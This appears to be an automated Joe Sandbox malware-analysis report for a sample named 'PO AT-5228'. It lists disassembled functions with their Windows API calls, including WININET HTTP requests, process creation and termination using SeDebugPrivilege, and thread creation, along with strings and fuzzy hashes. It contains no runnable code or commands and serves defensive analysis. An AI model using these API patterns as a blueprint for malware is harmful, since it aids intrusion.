TEXT, xrefs: 00B9CDC7
INSTANCE, xrefs: 00B9CD9E

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID: ChildEnumWindows
String ID: CLASS$CLASSNN$INSTANCE$NAME$REGEXPCLASS$TEXT
API String ID: 3555792229-1603158881
Opcode ID: 508be323b01103b898378b1b6b833151da68f503f893b42ee7e27387d5110587
Instruction ID: 3cf822f9364c4341a0932c53f3c7a3080c09c74ffaa96265192ee279f7227d57
Opcode Fuzzy Hash: 508be323b01103b898378b1b6b833151da68f503f893b42ee7e27387d5110587
Instruction Fuzzy Hash: ED915E74A04506ABCF18DF64C481BEAFFF9FF05300F5085A9E45AA7151DF30A99ADBA0

Function 00B63093 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 210COMMON

Download Yara Rule

APIs

mciSendStringW.WINMM(close all,00000000,00000000,00000000), ref: 00B630DC
CoUninitialize.OLE32(?,00000000), ref: 00B63181
UnregisterHotKey.USER32(?), ref: 00B632A9
DestroyWindow.USER32(?), ref: 00BD5079
FreeLibrary.KERNEL32(?), ref: 00BD50F8
VirtualFree.KERNEL32(?,00000000,00008000), ref: 00BD5125

Strings

close all, xrefs: 00B630D7

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID: Free$DestroyLibrarySendStringUninitializeUnregisterVirtualWindow
String ID: close all
API String ID: 469580280-3243417748
Opcode ID: ec3016a9436f826c523466731542f7ef618efef9ea3ac8f2286af61b692c2869
Instruction ID: 428b0bf0a34f06e3462539aadd58456fa6518cee5d0a80cc888a94c9d9e9d8d9
Opcode Fuzzy Hash: ec3016a9436f826c523466731542f7ef618efef9ea3ac8f2286af61b692c2869
Instruction Fuzzy Hash: 0F91F6746002468FC715EF24C895A68F3E4FF15704F5482E9E50AAB2A2DF38AE5ACF54

Function 00B7CB8D Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 185windowCOMMON

Download Yara Rule

APIs

SetWindowLongW.USER32(?,000000EB), ref: 00B7CC15

Part of subcall function 00B7CCCD: GetClientRect.USER32(?,?), ref: 00B7CCF6
Part of subcall function 00B7CCCD: GetWindowRect.USER32(?,?), ref: 00B7CD37
Part of subcall function 00B7CCCD: ScreenToClient.USER32(?,?), ref: 00B7CD5F

GetDC.USER32 ref: 00BDD137
SendMessageW.USER32(?,00000031,00000000,00000000), ref: 00BDD14A
SelectObject.GDI32(00000000,00000000), ref: 00BDD158
SelectObject.GDI32(00000000,00000000), ref: 00BDD16D
ReleaseDC.USER32(?,00000000), ref: 00BDD175
MoveWindow.USER32(?,?,?,?,?,?,?,00000031,00000000,00000000), ref: 00BDD200

Strings

U, xrefs: 00BDD0D5

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID: Window$ClientObjectRectSelect$LongMessageMoveReleaseScreenSend
String ID: U
API String ID: 4009187628-3372436214
Opcode ID: b9e6c70c3dfb47a87b753d37ddeb590c5e0bfce72a382f9ea6c377bf42afad56
Instruction ID: 5e52efd52228f610f747bd1ad5862f1eb983a8446f0e7985ce68117fbd48f74a
Opcode Fuzzy Hash: b9e6c70c3dfb47a87b753d37ddeb590c5e0bfce72a382f9ea6c377bf42afad56
Instruction Fuzzy Hash: 9171A130400209DFCF219F64CC81AAABBF5FF59354F1482AEFDA96A2A5E7318841DB50

Function 00BB45C4 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 133networkCOMMON

Download Yara Rule

APIs

InternetConnectW.WININET(?,?,?,?,?,?,00000000,00000000), ref: 00BB45FF
HttpOpenRequestW.WININET(00000000,00000000,?,00000000,00000000,00000000,?,00000000), ref: 00BB462B
InternetQueryOptionW.WININET(00000000,0000001F,00000000,?), ref: 00BB466D
InternetSetOptionW.WININET(00000000,0000001F,00000100,00000004), ref: 00BB4682
HttpSendRequestW.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00BB468F
HttpQueryInfoW.WININET(00000000,00000005,?,?,00000000), ref: 00BB46BF
InternetCloseHandle.WININET(00000000), ref: 00BB4706

Part of subcall function 00BB5052: GetLastError.KERNEL32(?,?,00BB43CC,00000000,00000000,00000001), ref: 00BB5067

Strings

, xrefs: 00BB46B8

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID: Internet$Http$OptionQueryRequest$CloseConnectErrorHandleInfoLastOpenSend
String ID:
API String ID: 1241431887-3916222277
Opcode ID: 47ce52f9da8e90463d486d3e8492487e5d7875ab07e54a9825b23716f00a6620
Instruction ID: 96f9dceabd56fb59b191079dae11f666050e684a5607a315e583942d4da97dc6
Opcode Fuzzy Hash: 47ce52f9da8e90463d486d3e8492487e5d7875ab07e54a9825b23716f00a6620
Instruction Fuzzy Hash: 1E414BB1501619BFEB129F54CC89FFA77ECFB09354F004196FA069A152DBF09D448BA4

Function 00BBB644 Relevance: 13.9, APIs: 9, Instructions: 432COMMON

Download Yara Rule

APIs

GetModuleFileNameW.KERNEL32(?,?,00000104,?,00BFDC00), ref: 00BBB715
FreeLibrary.KERNEL32(00000000,00000001,00000000,?,00BFDC00), ref: 00BBB749
QueryPathOfRegTypeLib.OLEAUT32(?,?,?,?,?), ref: 00BBB8C1
SysFreeString.OLEAUT32(?), ref: 00BBB8EB

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID: Free$FileLibraryModuleNamePathQueryStringType
String ID:
API String ID: 560350794-0
Opcode ID: a0933e997b50f3294a94f1c7c2569093376dde245ec391049003da10aaa8525e
Instruction ID: df0e7e441143529af787d00e66dc52526e84daddad735b46c9e2afac1b15f4d7
Opcode Fuzzy Hash: a0933e997b50f3294a94f1c7c2569093376dde245ec391049003da10aaa8525e
Instruction Fuzzy Hash: 3EF10775A00209AFCB14DF94C888EFEB7B9FF49315F108499F945AB250DBB1AE45CB90

Function 00BC24D4 Relevance: 13.9, APIs: 9, Instructions: 376processCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00BC24F5
GetSystemDirectoryW.KERNEL32(00000000,00000000), ref: 00BC2688
GetSystemDirectoryW.KERNEL32(00000000,00000000), ref: 00BC26AC
GetCurrentDirectoryW.KERNEL32(00000000,00000000), ref: 00BC26EC
GetCurrentDirectoryW.KERNEL32(00000000,00000000), ref: 00BC270E
CreateProcessW.KERNEL32(00000000,?,00000000,00000000,?,?,00000000,?,?,?), ref: 00BC286F
GetLastError.KERNEL32(00000000,00000001,00000000), ref: 00BC28A1
CloseHandle.KERNEL32(?), ref: 00BC28D0
CloseHandle.KERNEL32(?), ref: 00BC2947

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID: Directory$CloseCurrentHandleSystem$CreateErrorLastProcess_memset
String ID:
API String ID: 4090791747-0
Opcode ID: 2c1e64939b01d7594a280bd95cba14f7ae0677c565cb62e63a91e79bc72b4bde
Instruction ID: b9bb50e601734a72a47281c8118ae45c613c333539d84cf9194c45e12121a9f3
Opcode Fuzzy Hash: 2c1e64939b01d7594a280bd95cba14f7ae0677c565cb62e63a91e79bc72b4bde
Instruction Fuzzy Hash: 82D18B35604201DFCB14EF24C891F6ABBE5EF85310F1488ADF8999B2A2DB31EC45CB52

Function 00BCB33A Relevance: 13.7, APIs: 9, Instructions: 167COMMON

Download Yara Rule

APIs

InvalidateRect.USER32(?,00000000,00000001,?,00000001), ref: 00BCB3F4

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID: InvalidateRect
String ID:
API String ID: 634782764-0
Opcode ID: 2f430ce8e8b86e1f90c1e7ca80aef2598389c5d7328fb307e0ebfb72a8e10aa6
Instruction ID: d74418dad0edfdb77848066ef1cbdb60bdf87dd8619288439b98d3750b6e473b
Opcode Fuzzy Hash: 2f430ce8e8b86e1f90c1e7ca80aef2598389c5d7328fb307e0ebfb72a8e10aa6
Instruction Fuzzy Hash: DC519E30600254BFEF249F28CCD6FAD3BE4EB45314F24419AFA25E62E2DB71E9448B55

Function 00B7A699 Relevance: 13.7, APIs: 9, Instructions: 163windowCOMMON

Download Yara Rule

APIs

LoadImageW.USER32(00000000,?,00000001,00000010,00000010,00000010), ref: 00BDDB1B
ExtractIconExW.SHELL32(?,00000000,00000000,00000000,00000001), ref: 00BDDB3C
LoadImageW.USER32(00000000,?,00000001,00000000,00000000,00000050), ref: 00BDDB51
ExtractIconExW.SHELL32(?,00000000,?,00000000,00000001), ref: 00BDDB6E
SendMessageW.USER32(00000000,00000080,00000000,00000000), ref: 00BDDB95
DestroyIcon.USER32(00000000,?,?,?,?,?,?,00B7A67C,00000000,00000000,00000000,000000FF,00000000,000000FF,000000FF), ref: 00BDDBA0
SendMessageW.USER32(00000000,00000080,00000001,00000000), ref: 00BDDBBD
DestroyIcon.USER32(00000000,?,?,?,?,?,?,00B7A67C,00000000,00000000,00000000,000000FF,00000000,000000FF,000000FF), ref: 00BDDBC8

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID: Icon$DestroyExtractImageLoadMessageSend
String ID:
API String ID: 1268354404-0
Opcode ID: 778fb9cb24e7b9ed05f7194b695239988c1cc3462412654409114b7389d984cb
Instruction ID: 9c7c14d8381435d000bbde879c476354dffe71c28493020ea243f0a1ccf8b5fc
Opcode Fuzzy Hash: 778fb9cb24e7b9ed05f7194b695239988c1cc3462412654409114b7389d984cb
Instruction Fuzzy Hash: 6B515A70600209EFDB24DF64CC81FAE77F4EB58754F104559F95A9B690EBB0AD80DB50

Function 00BA7555 Relevance: 13.6, APIs: 9, Instructions: 142filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 00BA6EBB: GetFullPathNameW.KERNEL32(00000000,00007FFF,?,?,?,?,?,?,00BA5FA6,?), ref: 00BA6ED8

Part of subcall function 00BA6EBB: GetFullPathNameW.KERNEL32(?,00007FFF,?,?,?,?,?,00BA5FA6,?), ref: 00BA6EF1

Part of subcall function 00BA72CB: GetFileAttributesW.KERNEL32(?,00BA6019), ref: 00BA72CC

lstrcmpiW.KERNEL32(?,?), ref: 00BA75CA
_wcscmp.LIBCMT ref: 00BA75E2
MoveFileW.KERNEL32(?,?), ref: 00BA75FB

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID: FileFullNamePath$AttributesMove_wcscmplstrcmpi
String ID:
API String ID: 793581249-0
Opcode ID: eedbd0f3e0cab0039825629e65aa4b64232b7d4c3ed850f3e0c859fc5831a509
Instruction ID: c382c91ef2c88e6df8ea8aa7ad1795dde7b57253a329b4a264168bcd101e43c5
Opcode Fuzzy Hash: eedbd0f3e0cab0039825629e65aa4b64232b7d4c3ed850f3e0c859fc5831a509
Instruction Fuzzy Hash: 14511CB2A4D2199ADF50EB94DC819DE73FCEF09310B1044EAFA05A3151EA7496C9CF60

Function 00B7EA69 Relevance: 13.6, APIs: 9, Instructions: 135COMMON

Download Yara Rule

APIs

ShowWindow.USER32(00000000,000000FF,00000000,00000000,00000000,?,00BDDAD1,00000004,00000000,00000000), ref: 00B7EAEB
ShowWindow.USER32(00000000,00000000,00000000,00000000,00000000,?,00BDDAD1,00000004,00000000,00000000), ref: 00B7EB32
ShowWindow.USER32(00000000,00000006,00000000,00000000,00000000,?,00BDDAD1,00000004,00000000,00000000), ref: 00BDDC86
ShowWindow.USER32(00000000,000000FF,00000000,00000000,00000000,?,00BDDAD1,00000004,00000000,00000000), ref: 00BDDCF2

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID: ShowWindow
String ID:
API String ID: 1268545403-0
Opcode ID: 255577b93d0a2b533e9f8735114af0681846b8e19cd98fd2d3c24a4dfb2f1e34
Instruction ID: 8e686c18366bb7480da78cefc2552b2358c29b5f16daa7e97c6b134c4fb3a0b4
Opcode Fuzzy Hash: 255577b93d0a2b533e9f8735114af0681846b8e19cd98fd2d3c24a4dfb2f1e34
Instruction Fuzzy Hash: F741E7702146809AD73547288DCDB2ABED5EF59304F1D88CEF0BF86B61D6B1F880C611

Function 00B9B263 Relevance: 13.5, APIs: 9, Instructions: 49memorythreadCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000008,0000000C,00000000,00000000,?,00B9AEF1,00000B00,?,?), ref: 00B9B26C
HeapAlloc.KERNEL32(00000000,?,00B9AEF1,00000B00,?,?), ref: 00B9B273
GetCurrentProcess.KERNEL32(00000000,00000000,00000000,00000002,?,00B9AEF1,00000B00,?,?), ref: 00B9B288
GetCurrentProcess.KERNEL32(?,00000000,?,00B9AEF1,00000B00,?,?), ref: 00B9B290
DuplicateHandle.KERNEL32(00000000,?,00B9AEF1,00000B00,?,?), ref: 00B9B293
GetCurrentProcess.KERNEL32(00000008,00000000,00000000,00000002,?,00B9AEF1,00000B00,?,?), ref: 00B9B2A3
GetCurrentProcess.KERNEL32(00B9AEF1,00000000,?,00B9AEF1,00000B00,?,?), ref: 00B9B2AB
DuplicateHandle.KERNEL32(00000000,?,00B9AEF1,00000B00,?,?), ref: 00B9B2AE
CreateThread.KERNEL32(00000000,00000000,00B9B2D4,00000000,00000000,00000000), ref: 00B9B2C8

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID: Process$Current$DuplicateHandleHeap$AllocCreateThread
String ID:
API String ID: 1957940570-0
Opcode ID: bcb7fcc7540ba4053e71b3e646eb279211f2f79a2734d6b185f3f6ceb16551b9
Instruction ID: e223da09781a18ea3904e7932b6a8aa426c268cfeca2bbc4a175a2c0c09b0ecc
Opcode Fuzzy Hash: bcb7fcc7540ba4053e71b3e646eb279211f2f79a2734d6b185f3f6ceb16551b9
Instruction Fuzzy Hash: 9B01BBB5240344BFE710ABA5DD89F6B7BACEB88711F018411FA15DF1A1CAB59800CB65

Function 00BBC43F Relevance: 12.7, APIs: 5, Strings: 2, Instructions: 401COMMON

Download Yara Rule

Strings

NULL Pointer assignment, xrefs: 00BBC876, 00BBC887
Not an Object type, xrefs: 00BBC49E

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID:
String ID: NULL Pointer assignment$Not an Object type
API String ID: 0-572801152
Opcode ID: 9985104ebbe876544f4b57378f3f9b6a726edf4047d4a3420d74cc335412d5f6
Instruction ID: b3e71f9d61477a6aefe21c7ac99c1fd5cc19ccbff9bc3ca798818acb5a33aa18
Opcode Fuzzy Hash: 9985104ebbe876544f4b57378f3f9b6a726edf4047d4a3420d74cc335412d5f6
Instruction Fuzzy Hash: C5E19071A00219AFDF14DFA8D885AFE7BF5EF58314F1480A9F915AB281D7B0AD41CB90

Function 00BBBB08 Relevance: 12.5, APIs: 5, Strings: 2, Instructions: 264COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00BBBB5C
VariantInit.OLEAUT32(?), ref: 00BBBC2D
VariantInit.OLEAUT32(?), ref: 00BBBD2E
VariantClear.OLEAUT32(?), ref: 00BBBD38
VariantClear.OLEAUT32(?), ref: 00BBBD99

Strings

Null Object assignment in FOR..IN loop, xrefs: 00BBBBBD, 00BBBCEB, 00BBBDA7
Incorrect Object type in FOR..IN loop, xrefs: 00BBBD11

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID: Variant$ClearInit$_memset
String ID: Incorrect Object type in FOR..IN loop$Null Object assignment in FOR..IN loop
API String ID: 2862541840-625585964
Opcode ID: 8e8a400fc151a583f7295896a40e0ebbda5c9ad4be4bc03374710f8afc84f5da
Instruction ID: 9761e5cd01af3c1ffb6e9a4e272615de6936721d789915b6069c1f4f837265e2
Opcode Fuzzy Hash: 8e8a400fc151a583f7295896a40e0ebbda5c9ad4be4bc03374710f8afc84f5da
Instruction Fuzzy Hash: 44919171A00215ABDF24CF95C884FEEBBF8EF45710F1085A9F515AB290DBF49945CB90

Function 00BC9A75 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 142windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00001036,00000010,00000010), ref: 00BC9B19
SendMessageW.USER32(?,00001036,00000000,?), ref: 00BC9B2D
SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000000,00000013), ref: 00BC9B47
_wcscat.LIBCMT ref: 00BC9BA2
SendMessageW.USER32(?,00001057,00000000,?), ref: 00BC9BB9
SendMessageW.USER32(?,00001061,?,0000000F), ref: 00BC9BE7

Strings

SysListView32, xrefs: 00BC9AEB

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID: MessageSend$Window_wcscat
String ID: SysListView32
API String ID: 307300125-78025650
Opcode ID: eb217a6c975df474a9c4be90f0dc0ae848676d11604f6f079308e95d80548dc7
Instruction ID: 782c34f17722b34972d95cb37ede5d870111b6eee818baf1f546256f7a2ec3d3
Opcode Fuzzy Hash: eb217a6c975df474a9c4be90f0dc0ae848676d11604f6f079308e95d80548dc7
Instruction Fuzzy Hash: 12419071900348AFEB219FA4DC89FEE77E8EF08350F1045AAF549A7291D6B19D84CB60

Function 00BC172F Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 135COMMON

Download Yara Rule

APIs

Part of subcall function 00BA6532: CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,?,00000000), ref: 00BA6554
Part of subcall function 00BA6532: Process32FirstW.KERNEL32(00000000,0000022C), ref: 00BA6564
Part of subcall function 00BA6532: CloseHandle.KERNEL32(00000000,?,00000000), ref: 00BA65F9

OpenProcess.KERNEL32(00000001,00000000,?), ref: 00BC179A
GetLastError.KERNEL32 ref: 00BC17AD
OpenProcess.KERNEL32(00000001,00000000,?), ref: 00BC17D9
TerminateProcess.KERNEL32(00000000,00000000), ref: 00BC1855
GetLastError.KERNEL32(00000000), ref: 00BC1860
CloseHandle.KERNEL32(00000000), ref: 00BC1895

Strings

SeDebugPrivilege, xrefs: 00BC17B8

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID: Process$CloseErrorHandleLastOpen$CreateFirstProcess32SnapshotTerminateToolhelp32
String ID: SeDebugPrivilege
API String ID: 2533919879-2896544425
Opcode ID: f8f76b8ee193a9c326da488de74c1f1868759620309b067362972140a94e0d16
Instruction ID: 915eb8df5b6379247e076585c1699962d6fa6136454e933b00b47381e1f2b4ea
Opcode Fuzzy Hash: f8f76b8ee193a9c326da488de74c1f1868759620309b067362972140a94e0d16
Instruction Fuzzy Hash: 04419B71604200AFDB05EF68C8E5F6DB7E5EF55700F04849DF906AF282DBB9A9048B95

Function 00BA5819 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 81windowCOMMON

Download Yara Rule

APIs

LoadIconW.USER32(00000000,00007F03), ref: 00BA58B8

Strings

blank, xrefs: 00BA583A
stop, xrefs: 00BA5889
info, xrefs: 00BA5859
question, xrefs: 00BA5871
warning, xrefs: 00BA58A1

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

